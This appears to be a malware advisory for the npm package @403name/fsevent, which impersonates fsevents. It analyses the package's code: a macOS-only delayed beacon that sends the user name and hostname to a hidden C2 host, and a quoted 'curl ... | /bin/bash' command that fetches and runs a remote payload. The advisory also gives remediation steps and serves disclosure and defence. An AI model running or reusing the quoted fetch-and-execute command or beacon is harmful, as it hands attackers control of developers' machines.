Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to @403name/fsevent@1.0.1. The same advisory and Firewall decision cover these 2 recorded versions: 1.0.0, 1.0.1. - Avoid installing @403name/fsevent@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% On require(), index.js runs an IIFE that gates to macOS, skips when CI or GITHUB\_ACTIONS is set, waits 30-90 seconds, and writes a one-shot marker at ~/.cache/.nyx-npm/f. It then spawns /bin/sh to (1) GET https://k7xm9q.xyz/api/clickfix-callback with URL-encoded query parameters bid, user (process.env.USER), host (os.hostname()), and the literal tag npm\_fsevent — a beacon identifying the infected machine — and (2) execute \`curl -sSfL https://k7xm9q.xyz/api/payload/ | /bin/bash & disown\`, fetching and shell-executing attacker-controlled code with the developer's privileges. The C2 host is hidden behind atob('aHR0cHM6Ly9rN3htOXEueHl6') to evade keyword scanning. The package name @403name/fsevent and its description ("Native filesystem event watcher for Node.js — lightweight FSEvents wrapper with fallback polling") impersonate the well-known fsevents package to lure developers into installing and importing it. The combination of obfuscated C2, CI evasion, randomized delay, one-shot persistence marker, host-identifier exfiltration, and pipe-to-bash remote execution is unambiguous malicious tradecraft. \#\# Source: ghsa-malware (94ecb0a9c32bb53938bfc3475f967327a73b49acc684d371926e539b36f2a184) Any computer that has this package installed or running should be considered fully compromised.

The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @403name/fsevent - **Ecosystem:** npm - **Version:** 1.0.1 - **Version published:** 2026-06-07T20:56:51.536Z - **Package first seen:** 2026-07-27T11:05:06.882Z - **Package last seen:** 2026-07-27T11:05:06.882Z - **Known versions:** 2 - **Latest version:** 1.0.1 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
